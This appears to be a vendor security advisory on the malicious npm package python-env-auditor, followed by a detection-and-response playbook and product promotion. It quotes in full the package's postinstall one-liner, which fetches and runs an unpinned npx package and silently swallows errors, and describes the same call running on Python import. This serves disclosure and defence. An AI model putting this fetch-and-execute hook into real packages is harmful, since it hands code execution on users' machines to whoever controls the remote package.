python-env-auditornpm
Malicious code in python-env-auditor (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package fetches and executes a mutable, unpinned third-party npm package (env-security-scanner@latest) on every install and on every Python import. The postinstall lifecycle hook in package.json runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}" — no version pin, no integrity check, errors silently swallowed. The Python module python_env_auditor/__init__.py calls run_audit() at top level, which subprocess-runs the same npx env-security-scanner@latest audit_environment command, so any import python_env_auditor also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its main is setup.py and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the env-security-scanner name on npm controls code execution on every installer's machine and on every consumer process that imports this module.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for python-env-auditor (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging python-env-auditor across your stack and pipelines.
If you installed it — respond
Remove python-env-auditor from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If python-env-auditor was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks python-env-auditor before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks python-env-auditor-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.